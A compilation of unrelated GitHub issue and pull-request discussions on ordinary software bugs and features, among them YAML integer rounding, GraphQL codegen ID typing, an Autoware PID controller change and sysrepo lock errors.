http://stackoverflow.com/a/307200
That's JS restriction, not parser bug.

Yes, and I pointed that out in the other thread. That said, I respectfully disagree that one should so cavalierly write off confusing and platform-specific behavior in the parsing of a platform-independent format. Arbitrary rounding is not part of the YAML spec and misrepresents the actual value specified. A simple load and dump of any given YAML should create equivalent YAML and this fails that simple test.
I would suggest that there are a number of ways this could be handled better including: warnings, errors, or adaptive behavior depending on the actual value in the YAML.

I would suggest that there are a number of ways this could be handled better including: warnings, errors, or adaptive behavior depending on the actual value in the YAML.

That may be resonable, but need an issue with clear suggestion. Current one just says about problem that can not be fixed anyhow.

@puzrin The main premise of using YAML for configuration files is that they provide static values. Having large integers being rounded without any warnings causes unexpected behaviour, regardless of the fact JS only supports 32bit integer operations. The fix for this would be to interpret it as a string, which is how many other JS Yaml based parsers handle this.

JS has known limitations, for example with types set & pair. As i said - create an issue with your suggestions and refer to other implementations/spec as proof for possible workarounds.

How about handling this adding a option similat to mysql's bigNumberStrings? When this option is enabled numbers larger than Number.MAX_SAFE_INTEGER (and lower than Number.MIN_SAFE_INTEGER) are returned as strings instead of numbers.


Is there another good way to avoid checking for hidden elements at submitting?

When using useForm,I'd like to use a specific check rule based on the page element being shown and hidden, but I can't move forward with this error,or is there another good way to avoid checking for hidden elements at submitting,How to make shouldUnregister take effect in zod?

Error:There should be 3 parameters, but getting 1,types.d.ts(13, 74): no independent variable for "context" provided.

Please send a full reproducible code example.


Doesn't work when used with Astro's view transitions component

1. Describe the bug
On a website which uses Astro's view transitions, on the first load it works as expected. The problem is when I navigate to another page and get back to the page which uses motion one animations, they stop working. And therefore some elements which use animations, remain in their initial state (with opacity: 0) and some remain in their final state (opacity: 1).
2. IMPORTANT: Provide a CodeSandbox reproduction of the bug
I will set up a minimal reproduction today later when I come home
3. Steps to reproduce
Steps to reproduce the behavior:

First load to the page (which uses motion one animations): works fine
Navigate to another page and get back to the previous page
Animations don't work

4. Expected behavior
To work as expected
6. Browser details
Pop OS (Linux). I have configured so on browsers which support view transitions API (like chrome), transitions are enabled, but a fallback behaviour is a normal full page reload. Therefore it doesn't work on chrome, but works on firefox

Here's the minimal reproduction: https://github.com/suhaylmv/min-rep-astro-motionone


When there are errors during the Integration tests, the Nukeeper and Nuget log is put into the test output

:sparkles: What kind of change does this PR introduce? (Bug fix, feature, docs update...)
In the Integration tests, some tests are sometimes failing without a clear reason.
With this change, whenever a test fails, it wil put the output of the logging into the output of the test.
:arrow_heading_down: What is the current behavior?
No logging available
:new: What is the new behavior (if this is a feature change)?
Logging available
:boom: Does this PR introduce a breaking change?
No
:bug: Recommendations for testing
Fail a test
:memo: Links to relevant issues/docs
:thinking: Checklist before submitting

[X] All projects build

This is adding complexity and more logic to the tests which i think in general is bad pratice. Shouldn't we focus on the test that fail without clear reasons rather then to add logging to tests?

The problem with the methods under test is that they mostly return a single value:  true/false etc.
To make it so that the test results are more clear, we have to change the methods under test.
The idea of adding the logging is that by implementing a special logger the tests are not impacted, but it will still be more clear what the flow is that results in failing the test.

Maybe a naming change? public class BaseTest to public abstract class TestWithFailureLogging ?
I general purpose "BaseTest" with all the unrelated things in it is a pattern to avoid.


Latest tag on DockerHub not pointing to latest image based on git tag

Probable cause is GitHub workflow

See #support on Slack for more context.

I'll look into this later today.

@gonzalocasas: There's some trouble with rosdep not resolving python2- prefixed packages. My quickfix were to switch to python3 which works. However there's a conflict between catkin and python{2,3}-catkin-pkg which can be resolved by instead depend on python-catkin-pkg-modules. See https://github.com/ros/catkin/issues/991.
I'm not explaining it fully because I mainly want to ask if you think we need python{2,3}-catkin-pkg as a buildtool_depend? It builds for kinetic without it (in docker container). I'll test on more distros.
I'll investigate more..

@tetov : hi Anton thanks for your help! I think Gonzalo will help here as soon he is free for the task. Best Philippe

@fleischp: Hi! Hope you are well! Yeah, I'm not in a rush. There's no problem really as long as we use v1.1.2 instead of latest in our docker-compose files, but this investigation makes me think that we should update our docker images to ROS 1 Noetic instead of ROS 1 Kinetic since Kinectic has reached end of life.
I'll keep digging :).

Yes. Actually, i mostly use this image instead.

Ok. So in that case we could consider compas_rrc_ros tested on noetic. Would you be OK with me sending one two PRs with updated CI and update to Noetic in this repo?

It might be a good time to make a release since the container is now built with noetic. This would also fix this issue ;).

Version 1.1.3 is being built as we speak :)  After that, we can close this issue, right?

New images published!

Great! Thanks!


font: Draw red rectangle for unmatched charachters

I think we need a visual indicator when characters are dropped because most people just think that the module doesn't show at all.
I thought about drawing a hollow rectangle, similar to what terminals do, but I found it easier to just draw a red rectangle.
This can probably be polished a bit more.
@NBonaparte thoughts?

Alright, I found out that fonts provide a defaultChar which is a glyph for characters that are not in the font.
I have only figured out how to draw all characters as those glyphs and it looks like this:

This is probably a nice solution to the problem of there being no visual indicator for dropped characters. But I think we need to rewrite some font rendering stuff for this.


🐛 Montevideo MSE NaN Bug Fix

Was getting NaN values for MSE while training the Montevideo Bus dataset on a TGCN model


Small refactorings to make code more pythonic

I get a couple of errors from Travis which does not seem related to my commits, I think a couple of files are missing: TypeError: Could not find graph file data/ppismall/pos_train_edges and  TypeError: Could not find graph file data/ppismall/pos_train_edges.

@LucaCappelletti94 - Sorry you are getting an error! This file has definitely had some significant changes made to it on the creating_keras_develop_branch branch, which has not yet been merged with other branches. Our thought being to make one giant PR from this branch when we had finished the full tf refactor. I'm now wondering if it might be worth it to make a branch of creating_keras_develop_branch and push some of the intermediate changes to files that are not dependent on the tf refactor.
What do you think about this? Sorry for the headache caused by these errors!

@LucaCappelletti94 I think this should fix the problematic test here

@LucaCappelletti94 I changed the base to develop (from master) - since generally we want to merge into develop
if there are no objections, it would also be helpful to make PRs from named branches (e.g. my_awesome_pr) on https://github.com/monarch-initiative/N2V instead of our individual forks of N2V (not strictly necessary though)

@justaddcoffee - what did you think about my comment above?

@justaddcoffee - what did you think about my comment above?

Could we chat about how to do this? Possibly could just cherry-pick some commits from creating_keras_develop_branch into develop. Or possibly it might be simplest to just finish the tf refactor as soon as possible and then deal with all the differences between these two branches.

@justaddcoffee - what did you think about my comment above?

Could we chat about how to do this? Possibly could just cherry-pick some commits from creating_keras_develop_branch into develop. Or possibly it might be simplest to just finish the tf refactor as soon as possible and then deal with all the differences between these two branches.

Happy to do whatever is easiest, just thought it was worth mentioning. Either way, I'm happy to approve this PR once the merge conflicts are resolved.

This is going to be hard to merge since it's based on master not develop - without any objection, I'm going to make a new PR for this and put Luca's nice improvements in that


Cleanup inactive sessions

Issue Type: Bug
There is no warning when a user accidentally leaves a Collaboration Session running for a week.  Then, when the user tries to "Change Status" to Available so they can be invited to another session, it won't change status but there is no warning that it isn't happening nor that it isn't possible because the user already has a Collaboration Session running.
Extension version: 1.0.2377
VS Code version: Code 1.46.1 (cd9ea6488829f560dc949a8b2fb789f3cdc05f5d, 2020-06-17T21:13:20.174Z)
OS version: Windows_NT x64 10.0.18362
Remote OS version: Linux x64 4.4.0-18362-Microsoft

@nandiniYeltiwar Do we have a "timeout" on Live Share sessions? At a minimum, it would seemingly make sense to detect idle sessions and delete them after some period.

It is difficult to detect an idle but active Live Share session. We do delete sessions if for some reason the session didn't end gracefully. Changing status from "busy/in session" to "Active" should be possible, and if that is not working then its a bug. We are seeing some issues with regards to "Change status" option in VS and this issue might be masked under it.

Closing this for now since we haven't heard significant feedback for this, and it would be a lot of work for Live Share to implement. Please re-open if you think this is something we should prioritize. Thanks!


feat(pid_longitudinal_controller): use Integrated error when vehicle is stopped

Description
Related to this Issue
The goal is to make the PID use the integrative gain to offset possible slope compensation overshoots. The reason this is not currently done is shown on the documentation:
"Also, the integral term is not accumulated when the vehicle is stopped. This is to prevent unintended accumulation of the integral term in cases such as Autoware assumes that the vehicle is engaged, but an external system has locked the vehicle to start."
But I believe that, by tuning the I effort parameters:
max_i_effort: 0.3
min_i_effort: -0.3

The maximum acceleration caused by the I controller can be tuned to be confortable & safe. So, the velocity limit is not necessary.
Related links

Tests performed

evaluator tests: TIER4 internal link No degradation when compared to today’s baseline TIER4 internal link
Notes for reviewers

Notes for reviewers
After this is merged, this PR should be merged to eliminate unused parameter for minimum velocity for error integration since it will be unused: https://github.com/autowarefoundation/autoware_launch/pull/694
Interface changes

Effects on system behavior
The use of the integrative gain is no longer limited by the vehicle speed for the PID controller, and the ego can now start on downward slopes.
Pre-review checklist for the PR author
The PR author must check the checkboxes below when creating the PR.

[x] I've confirmed the contribution guidelines.
[x] The PR follows the pull request guidelines.

In-review checklist for the PR reviewers
The PR reviewers must check the checkboxes below before approval.

[ ] The PR follows the pull request guidelines.
[ ] The PR has been properly tested.
[ ] The PR has been reviewed by the code owners.

Post-review checklist for the PR author
The PR author must check the checkboxes below before merging.

[ ] There are no open discussions or they are tracked via tickets.
[ ] The PR is ready for merge.

After all checkboxes are checked, anyone who has write access can merge the PR.

LGTM. Horibe-san will review as well.

@danielsanchezaran Thank you for the PR!
I agree with enabling integration during stops. However, there are several considerations we need to address.
Even in AUTONOMOUS mode, it takes time for a vehicle to start moving. Therefore, the integral term will inevitably accumulate unintentionally during the start. This could have a bad effect on the system, making parameter tuning difficult. When stopped, I think we need a method such as enabling integration only if the vehicle doesn't start moving after a certain period (e.g. 2 seconds).
Additionally, vehicle speed sensors often perform poorly at low speeds, frequently returning zero speed. To avoid unintended integral processing in such vehicles, it remains necessary to have the option to disable integration at low speeds.

Not sure why the issue was closed, I did not do it.

With these new changes, the error integration does not kick off until a threshold
https://github.com/autowarefoundation/autoware.universe/assets/25967964/08fad25b-af3f-4037-a175-3bd4765431c0
There is a parameter to set the threshold limit and a parameter to enable or disable the feature altogether @TakaHoribe @takayuki5168
Note: the changes to autoware_launch are necessary: https://github.com/autowarefoundation/autoware_launch/pull/698

@danielsanchezaran Thank you for the PR!
I agree with enabling integration during stops. However, there are several considerations we need to address.
Even in AUTONOMOUS mode, it takes time for a vehicle to start moving. Therefore, the integral term will inevitably accumulate unintentionally during the start. This could have a bad effect on the system, making parameter tuning difficult. When stopped, I think we need a method such as enabling integration only if the vehicle doesn't start moving after a certain period (e.g. 2 seconds).
Additionally, vehicle speed sensors often perform poorly at low speeds, frequently returning zero speed. To avoid unintended integral processing in such vehicles, it remains necessary to have the option to disable integration at low speeds.

I believe the new changes satisfy these requirements. Could you please take a look again?

I leave this PR's review to @TakaHoribe-san.


Adjust the snippets/testing/test-suite-multi-configure-each-matching …

Fixes #21824

@bot-gradle test this

OK, I've already triggered the following builds for you:

PullRequestFeedback build

Thanks for the submission, @RicardoJiang. Could you please fix
the DCO failure as described here?

Thanks for the submission, @RicardoJiang. Could you please fix the DCO failure as described here?

Done

Thanks, @RicardoJiang. Could you please rebase your PR and fix the conflict in the release notes?

Thanks, @RicardoJiang. Could you please rebase your PR and fix the conflict in the release notes?

Done, Thanks @bamboo

@bot-gradle test and merge

Your PR is queued. See the queue page for details.

There's merge conflict between your PR branch and base branch. Please fix it and try again.

@bot-gradle test and merge

Your PR is queued. See the queue page for details.

OK, I've already triggered a build for you.


Added binary search

Added binary search in python........

Thanks mate!
Feel free to add more projects and star the repo.


Source twice and you have error messages...

bash: complete:  filenames : nom d'option non valable
N/A: version "v0.10" is not yet installed

Doesn't seem to be happening anymore...


Geolocation no longer works on un secure contexts, we should create an update and sort the content

I have an approved update.


Enhancement: parabolic resource costs

In current system contract, the account CPU and NET weight is linearly proportional to the stake of system token. This makes spamming relatively cheap, and leads to congestion on EOS mainnet.
In this proposal, the weight would be proportional to square root of stake amount. This would not make much difference for occasionally transacting accounts, but frequent senders will have to stake a lot more. This should reduce the spamming.
The eosio.system contract is calling the set_resource_limits() intrinsic in several places. Instead, it would call a member function that would calculate the weight according to a new formula:
weight = alpha + beta * sqrt(gamma * stake);

alpha, beta, gamma should be configurable parameters and separate for NET and CPU.
Also there should be a transition contract that goes through all accounts and adjusts their current weight in batches.

How could we protect this against splitting stake across multiple accounts?

cost factor of creating and orchestrating thousands of accounts would be prohibitive. We can't ban the junk traffic, but we can make it expensive. Then either the system token price goes up because of demand, or junk stops because it becomes unprofitable.
It needs thorough modeling. Probably the curve needs to be more complex.

another possible option is to count the contract's execution frequency, not the user's. So, noisy contracts would be more expensive to access (probably eosio.token will need an exception)

Does the transition to the PowerUp model alleviate the so-called spam issue this was attempting to solve?

it seems like Powerup solved the issue in a better way.


Tile map frame not set

Hi,
I am not able to view topic map_tile in Rviz2 (shows no frame id error). I suspect the error is due to no header / frame set for this msg.
Please let me know if I am wrong.
Thanks

You are right. Feel free to open a PR, if you would like to contribute. Else, I can do the update!

Okay I did the changes pointing to the main branch. I will do the sync to humble and galactic soon.

Thank you.

No problem!
Will close the issue, once sync is done.


KeyError: 'candy'

Expected Behavior
Actual Behavior
Traceback (most recent call last):
  File "pokecli.py", line 470, in <module>
    main()
  File "pokecli.py", line 71, in main
    bot.tick()
  File "/home/lunik/pkm/pokemongo_bot/__init__.py", line 88, in tick
    if worker.work() == WorkerResult.RUNNING:
  File "/home/lunik/pkm/pokemongo_bot/cell_workers/transfer_pokemon.py", line 12, in work
    candies = get_candies(self.bot)
  File "/home/lunik/pkm/pokemongo_bot/cell_workers/utils.py", line 246, in get_candies
    candies[candy['family_id']] = candy['candy']
KeyError: 'candy'

Steps to Reproduce
Commit: fbda65e3f063b23b5eddee87f6b3338e66710a8b
Other Information
OS: Linux
Git Commit: fbda65e3f063b23b5eddee87f6b3338e66710a8b
Python Version: Python 2.9.7

Expected Behavior
Bot loads and runs.
Actual Behavior
Traceback (most recent call last):
File "pokecli.py", line 470, in
main()
File "pokecli.py", line 71, in main
bot.tick()
File "/home/lunik/pkm/pokemongo_bot/init.py", line 88, in tick
if worker.work() == WorkerResult.RUNNING:
File "/home/lunik/pkm/pokemongo_bot/cell_workers/transfer_pokemon.py", line 12, in work
candies = get_candies(self.bot)
File "/home/lunik/pkm/pokemongo_bot/cell_workers/utils.py", line 246, in get_candies
candies[candy['family_id']] = candy['candy']
KeyError: 'candy'
Steps to Reproduce
Commit: fbda65e
Other Information
OS: Windows 10
Git Commit: eac7989d41cca4ee0289304f5b4b903e9ca4b6f3
Python Version: Python 2.7.10

Some candy arrays are missing elements. Here's a temporary fix that works for me. Modify the if candy != {}: line of ./pokemongo_bot/cell_workers/utils.py to look like this: if candy != {} and 'family_id' in candy and 'candy' in candy:


[1.13] Bump Bouncer to use email address for OIDC login

High-level description
Back-port of #7448
Update Bouncer to set user description to user's email address
This update required the Bouncer dependency for 1.13 to be branched off.
Corresponding DC/OS tickets (required)

D2IQ-70199 COPS-6295: modify user description for UI

Related tickets (optional)

D2IQ-ID JIRA title / short description.

@mesosphere-mergebot request-review @DominikDary @janisz

@mesosphere-mergebot help


Update telemetry endpoints

Update to new 1DS endpoint since vortex is being deprecated

@raymondtruong @rchlkm @brian-harris FYI, this isn't an immediate concern but you should release a new version of your extension with this updated package as soon as you can.
I would suggest doing an insiders release first and then verifying the data is still looking good before updating stable.

Pull Request Test Coverage Report for Build<PHONE_NUMBER>

0 of 0   changed or added relevant lines in 0 files are covered.
No unchanged relevant lines lost coverage.
Overall coverage remained the same at 42.165%

Totals

Change from base Build<PHONE_NUMBER>:
0.0%

Covered Lines:
28198

Relevant Lines:
62421

💛  - Coveralls

Getting this in so we can validate this in insiders asap. @Benjin @kisantia I'll be following up with you on getting your extensions updated.


[_]: fix/remove billing cycle param

PROBLEM:
When the user update the subscription, Stripe request for the 3D Secure again.
FIX:
I think the problem is billing_cycle_anchor because the user has to pay again, so let's remove that until Stripe give us a solution.
If the problem persists, I will look for another solution.

Do not merge yet.


Fix auto create tennat concurrently will cause the task failed

Purpose of the pull request
When there exist multiple tasks using the same tenant are going to the same worker concurrently, if the tenant doesn't exist, and autoCreateTenantEnabled is true, then each task will try to create task, but only the first task will success, others will failed, due to the tenant is already exist.
Brief change log

Verify this pull request

This pull request is code cleanup without any test coverage.
(or)
This pull request is already covered by existing tests, such as (please describe tests).
(or)
This change added tests and can be verified as follows:

(or)
If your pull request contain incompatible change, you should also add it to docs/docs/en/guide/upgrede/incompatible.md

Codecov Report
Attention: Patch coverage is 20.00000% with 4 lines in your changes are missing coverage. Please review.

Project coverage is 39.65%.  Consider uploading reports for the commit efe3336 to get more accurate results

Files
Patch %
Lines

.../apache/dolphinscheduler/common/utils/OSUtils.java
0.00%
4 Missing :warning:

Additional details and impacted files
@@             Coverage Diff              @@
##                dev   #15909      +/-   ##
============================================
- Coverage     39.72%   39.65%   -0.08%
+ Complexity     5034     5012      -22
============================================
  Files          1349     1349
  Lines         45615    45537      -78
  Branches       4892     4877      -15
============================================
- Hits          18122    18056      -66
+ Misses        25578    25565      -13
- Partials       1915     1916       +1

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Have feedback on the report? Share it here.


Getting error while trying to change remote-address for callhome

Hi @michalvasko, i am getting error while trying to change remote-address for callhome
root@localhost:~# sysrepocfg --edit=vim -m ietf-netconf-server
[ERR] Locking a mutex failed (sr_modinfo_changesub_rdlock: Connection timed out).
[ERR] Internal error (/home/user/workspace/sysrepo/src/common.c:4229).
[ERR] Internal error (/home/user/workspace/sysrepo/src/common.c:4229).
sysrepocfg error: Replace config failed (Timeout expired)

What sysrepo version are you using? The problem occurred before, these messages on their own do not help at all.

root@localhost:~# sysrepoctl -V
sysrepoctl - sysrepo YANG schema manipulation tool, compiled with libsysrepo v2.2.60 (SO v7.14.20)

No, you are not based on the internal error common.c:4229.

My Bad the version of netopeer2 we tried both 2.1.59 and 2.1.42
with both same issue is coming
so the logs shared are of verion of sysrepo v2.2.12
originally when we used to use version 2.1.42 of netopeer2 we never faced this issue, after upgrading to netopeer2 2.1.59 the issue started facing. Now even on downgrading back we face same issue. Is that some references of the shm/sysrepo/libraries are not getting uninstalled or we have call some sysrepo API which is has taken lock and not released. Need directions on how to debug ahead.

The simplest fix is to exec make sr_clean in sysrepo build, which will completely reset the whole sysrepo and remove all the SHM segments, YANG modules, and data. If you encounter the issue after this, please report it with the steps you did.


Map field to a type

Is your feature request related to a problem? Please describe.
I have an ObjectType in my schema:
type SomeObj implements Node {
  id: ID!
}

In TS Codegen I'd like to map SomeObj.id to a specific type type SomeObjId = string as I'm trying avoid mixing different ids on TS level.
So the result in codegen-generated file would be this:
export type SomeObj = {
-  readonly id: Scalars['ID']['output'];
+  readonly id: TagId;

I tried creating custom scalar SomeObjID on schema level but that breaks Node interface contract so cannot do that.
Describe the solution you'd like
Is there a way to map such field?
Describe alternatives you've considered
No response
Is your feature request related to a problem? Please describe.
No response

@simPod can you share more about what do you mean by breaks Node interface?
Maybe a reproduction?

@Urigo graphql spec defines Node interface https://graphql.org/learn/global-object-identification/#node-interface
interface Node {
  id: ID!
}

it is not possible to override id's type.

@simPod can you please elaborate more on your use-case? I understand the question, but I'm not sure why overriding a specific field is helpful? You can override scalars with the scalars: configuration and change the entire TS type of ID scalar.
If you wish to have more control over implementation details (and assuming you are using a plugin such as typescript-resolvers), you can also override it using mappers field.

I don't use typescript-resolvers. My use case is for consuming the API.
Usecase
Schema:
interface Node {
  id: ID!
}

type Foo implements Node {
  id: ID!
}

type Bar implements Node {
  id: ID!
}

const doSth = (foo: string, bar: string)

const doSth = (foo: FooId, bar: BarId)

I don't use typescript-resolvers. My use case is for consuming the API.
Usecase
Schema:
interface Node {
  id: ID!
}

type Foo implements Node {
  id: ID!
}

type Bar implements Node {
  id: ID!
}

Then consider this code
const doSth = (foo: string, bar: string);

const foo: Foo;
const bar: Bar;

doSth(foo.id, bar.id);

This is not very typesafe since I can make a mistake and call
doSth(bar.id, foo.id); // I flipped ids here -> bug

So the whole point is to prevent mistakenly flipping fcn inputs using types:
const doSth = (foo: FooId, bar: BarId);

const foo: Foo;
const bar: Bar;

doSth(foo.id, bar.id);

Therefore, I wish to map Foo.id to FooId type:
import type { Opaque } from 'type-fest';

type FooId = Opaque<string, 'FooId'>

so my IDs are not represented by weak scalar type.

@simPod can you share your current Codegen config?

import type { CodegenConfig } from '@graphql-codegen/cli';
// eslint-disable-next-line import/no-extraneous-dependencies
import dotenv from 'dotenv';

dotenv.config({
  path: '.env.local',
});

const config: CodegenConfig = {
  generates: {
    './src/graphql/GraphQL.tsx': {
      config: {
        addDocBlocks: false,
        avoidOptionals: {
          field: true,
          object: true,
        },
        exportFragmentSpreadSubTypes: true,
        immutableTypes: true,
        mergeFragmentTypes: true,
        noNamespaces: true,
        nonOptionalTypename: true,
        scalars: {
          DateTimeTz: 'string',
          JSON: 'string',
        },
        strictScalars: true,
        withHooks: true,
      },
      documents: 'src/**/*.graphql',
      plugins: [
        { add: { content: '/* eslint-disable */' } },
        'typescript',
        'typescript-operations',
        'typescript-react-apollo',
      ],
    },
    './src/graphql/introspection-result.ts': {
      config: {
        apolloClientVersion: 3,
        useExplicitTyping: true,
      },
      plugins: [{ add: { content: '/* eslint-disable */' } }, 'fragment-matcher'],
    },
  },
  overwrite: true,
  schema: {
    [process.env.API_URL_GRAPHQL as string]: {
      headers: {
        Authorization: `Bearer ${process.env.API_TOKEN}`,
      },
    },
  },
};

// eslint-disable-next-line import/no-default-export
export default config;

That's a good point @simPod , I think it's a more broad topic around type safety and using branded primitive types.
I think it might be worth considering changing the way we generate id fields in general? 🤔 @saihaj @n1ru4l  what do you think?


rename based on output of shell

I have a number of files like
this is a file.md
I'd like to be able to rename them by replacing the spaces with _
to
this_is_a_file.md
I can see the rename action allows for using variables like name/type/date/etc, but I can't see if there's a way to rename using substitution. Is this feature currently supported?

No, thats currently not included. But you can easily create it yourself with whatever logic you need:
- folders:
    - "~/Desktop/test"
  filters:
    - python: |
        if " " not in path.stem:
          return False
        clean_name = path.stem.replace(" ", "_") + path.suffix
        return {
          "clean_name": clean_name
        }
  actions:
    - rename: "{python.clean_name}"

Amazing!


Meta Issue: can't explicitly search for a cmdlet name in an issue

Summary of the new feature / enhancement
Because of #3080 Searching difficulties with hyphens (-) and periods (.) and due to the fact that PowerShell uses a verb-noun pair for the names of cmdlets, it is quite difficult to narrow an issue search to a meaningful cmdlet name, e.g.:
Write-Output in:title

Results in 8+25=33 issues where only 19 issues actually have Write-Output in the title.
(not even mentioning here to do a wide general search on all comments in an issue)
Proposed technical implementation details (optional)
Not sure whether I missed some documentation or workaround for this...
Anyways, creating labels for each known cmdlet (as Add-Member, Write-Host, ...) and automatically add that cmdlet label when recognized in a comment might help here.

is this something the PowerShell team do much about? Or is this a challenge for GitHub?

@doctordns,

is this something the PowerShell team do much about? Or is this a challenge for GitHub?

Good question, I think it depends how you look to it.

if you see it as GitHub bug/enhancement, it likely will be qualified as "by design" (hyphens aren't indexed) and never be resolved.
if you see it as configuring and customizing GitHub, it might be something for the GitHub owner (the PowerShell team) to pick up knowing that there apparently exists already a msftbot (no clue what it is capable of).

FYI, there are currently nearly 300 Microsoft.PowerShell cmdlets:
(get-command |Where-Object Source -like Microsoft.PowerShell.*).Count

Opened new issues and projects discussion here: https://github.com/orgs/community/discussions/58606

@iRon7 I have moved this to Needs Investigation as I am hoping this is something that is globally off but can be turned on at org/repo level and have reached out asking about this. Will report back if/when I hear further

Does it not work when the cmdlet name is provided in quotes?  Such as "get-command"

Does it not work when the cmdlet name is provided in quotes? Such as "get-command"

Commented on https://github.com/orgs/community/discussions/58606 with more details as that's actually the right place for the GitHub team to look at going forward as this is wider than just for us as I was getting what I would call getting some results as expected and then partial matches - if this is the case then it may be nice for GitHub to split these as exact/partial match and allow additional search parameters to control this behaviour
regarding this comment from @iRon7

if you see it as configuring and customizing GitHub, it might be something for the GitHub owner (the PowerShell team) to pick up knowing that there apparently exists already a msftbot (no clue what it is capable of).

We may be able to look adding some of our own tooling that on issue creation do a lookup and have a bot post a "did you mean one of these existing issues" however they almost always cause more noise than are a real help, but that's up to @SteveL-MSFT and team to really decide on whether they want to do that or not. I would be happier to see that added natively to GitHub but it would be very hard to get right without a lot of customisation options.
I've done all the investigation in this that I can for now but plan to come back to this to see
One point too add is that whilst in:title searches are worthwhile these also could miss issues too as not all the issues are well named

@kilasuit.

We may be able to look adding some of our own tooling...

The thing that I had in mind is (presuming that the msftbot can be triggered on every issue update), that it scans the current issue (excluding fenced code blocks?) for known cmdlet names and automatically adds a comment (or updates an existing comment) like the following comment suggestion:

Cdmlet tag handles:

Get_Command Write_Host ConvertTo_Json ConvertFrom_Json

The above cmdlet tags are for searching issues regarding specific cmdlets. To search for a specific cmdlet in an issue, use a underscore (_) instead of hyphen (-) (e.g. Get_Command)
For more background see: #19753 Meta Issue: can't explicitly search for a cmdlet name in an issue (or a formal document).

I'm not sure that the msftbot which is a wider than PSTeam bot, has that level of customisation, so if it were to be done it would need to be a PS built and managed integration and whilst this would be a "very nice to have" it's likely to be hard to prioritise compared to other areas due to the reasons I listed above.
It's a good idea and whilst I can only speak from my experience and for the team, it may be something that was have to revisit regularly to see if GH have improved their searches results via some tuning, which may be back end feasible for them.


Ruby kanban board setup

Here is a link to our project
https://github.com/cosywasswa/catalogue-of-my-things/projects/1
We are a group of 3 members.
Team member #1 - @Kgomotso196
Team member #2 - @aradradev
Team member #3 - @cosywasswa

STATUS: CHANGES REQUIRED ♻ ♻
Hi @cosywasswa, @aradradev and @Kgomotso196,
Good job so far!
✔ Kanban columns are complete
✔ Tasks are well assigned
However, there are some issues that you still need to work on to go to the next project but you are almost there!
Required Changes ♻

[ ] Kindly add the actual description for the tasks instead of just adding a rather generic "Description to be added". All tasks should have meaningful descriptions. Kindly do this for all tasks where you have this sort of description.

[ ] Team member 1, @Kgomotso196 is handling Book and Label class implementations but he has a task from the MusicAlbum and Genre tasks which is not his. This task belongs to @aradradev - and he does not have it. Kindly fix that.
Kindly also ensure the task title and description are related. You title your task for test activity but it has the startup task description.

[ ]

Cheers and Happy coding!👏👏👏
Feel free to leave any questions or comments in the Issue thread if something is not 100% clear. And please, remember to tag me in your question so I can receive the notification.
Please, do not open a new Issue for re-reviews. You should use the same Issue submitted for the first review, either valid or invalid unless it is requested otherwise.

As described in the Code reviews limits policy you have a limited number of reviews per project (check the exact number in your Dashboard). If you think that the code review was not fair, you can request a second opinion using this form.

Hi @cosywasswa, @aradradev and @Kgomotso196,
APPROVED 🟢
Highlights
✔ Descriptive tasks
Great implementation of all the requirements in this milestone. 👏
You have done an amazing job 👍
Your project is complete!  There is nothing else to say other than... it's time to merge it. :shipit:
Congratulations! 🎉
CHEERS AND HAPPY CODING!👏👏👏
Feel free to leave any questions or comments in the PR thread if something is not 100% clear.

As described in the Code reviews limits policy  you have a limited number of reviews per project (check the exact number in your Dashboard). If you think that the code review was not fair, you can request a second opinion using this form.


Struct extension of a refinement of a struct does not use the correct displayName

Version
3.2.21
Expected behaviour
A struct extension of a refinement of a struct should use the passed displayName
Actual behaviour
The struct extension uses the right typeName but interpolated into the default Refinement name format.
Steps to reproduce

Define a struct type
Define a refinement of the struct type
Extend the refinement of the struct type, passing a name
See that the passed name is not used as the displayName

const t = require('tcomb');

const Rectangle = t.struct({
  width: t.Number,
  height: t.Number
}, 'Rectangle');

const Square = t.refinement(Rectangle, ({width, height}) => width === height, 'Square');
const Box = t.struct.extend([Rectangle, {depth: t.Number}], 'Box');
const Column = t.struct.extend([Square, {depth: t.Number}], 'Column');
const Cube = t.refinement(Column, ({width, height, depth}) => width === height && width === depth, 'Cube');

console.log(Square.displayName); // Square
console.log(Box.displayName); // Box -> struct extension of struct uses the passed name
console.log(Column.displayName); // {Column | <function1>} -> falls back to getDefaultName of the refinement, but using the right typeName
console.log(Cube.displayName); // Cube

// a simple workaround is to manually set displayName
Column.displayName = 'Column';
console.log(Column.displayName); // Column

Stack trace and console log
No error here, just not using the expected name.
Thanks for tcomb!

@kencheeto thanks for the detailed report, just released a patch

thanks @gcanti !


Fix #814, add ES Misc Functional test

Describe the contribution
Fixes #814
Test for the api calls in Misc section.
Testing performed
Build and run unit test
Expected behavior changes
No impact to behavior
System(s) tested on
Ubuntu 20.04
Contributor Info - All information REQUIRED for consideration of pull request
Alex Campbell GSFC

CCB:2021-06-02 APPROVED with Changes

Conversation about logs and testing using external script with CI and TO versus using a test app
Add some more tests with a vararg

Looks good, although that last merge commit message doesn't comply with our preferred style :)

Looks good, although that last merge commit message doesn't comply with our preferred style :)

Do we want "Fix #814, Fix CCB comments" instead?

Take a look at https://chris.beams.io/posts/git-commit/.  "Fix #814, Fix CCB comments" does not sufficiently describe what's in the commit.


MacOS: package expansion to the working directory can cause subsequent failures

Describe the bug
MacOS
In https://github.com/MetricMike/asdf-awscli/blob/ec4ccdc06ebd34feccf4957e2d2ad647c4d18a2c/lib/utils.bash#L71
package expansion is performed into the current working directory to a fixed directory.
Should a previous install have failed for any reason, as did on one of our systems, this directory is not cleaned up and pkgutil will refuse to expand the package into an existing directory with a slightly cryptic (but perfectly valid) error message:
Could not unarchive /Users/<elided>/.asdf/installs/awscli/2.4.6/awscli-2.4.6.pkg (The operation couldn't be completed. File exists)

The problem is the directory it is actually talking about is in the working directory where the package will be expanded, not in the installs subdir of asdf.
Suggestion - perhaps expand to a temp directory that is deleted via trap if there's a failure?
Steps to reproduce

in the current directory, create a directory called AWSCLIV2 - this is to simulate the failure of a prior installation
mkdir AWSCLIV2
attempt to install using asdf (any v2 should have the same behaviour):
```asdf install awscli 2.4.6``

Expected behavior
Installs as expected
Screenshots
Errors as described above
Additional context
N/A

I encountered the same issue just now.


Work around a possible platform/modules bug.

On OpenBSD, stdint.h is a symlink to sys/stdint.h, and the platform
modulemap (basically identical to libcxx/include/module.modulemap) has
a defined submodule std.depr.stdint_h. When compiling happens with
-fmodules, which is what happens in bootstrap builds, this seems to
confuse clang royally and demands that stdint.h be included when it
already is.
I don't actually understand what the problem is here. The problem isn't
the symlink, but something... else. I think the problem is the fact that
std.depr.stdint_h exists which causes the problem somehow. Removing
the module fixes the problem, as does using a different include (like
inttypes.h which does not have a corresponding module) which includes
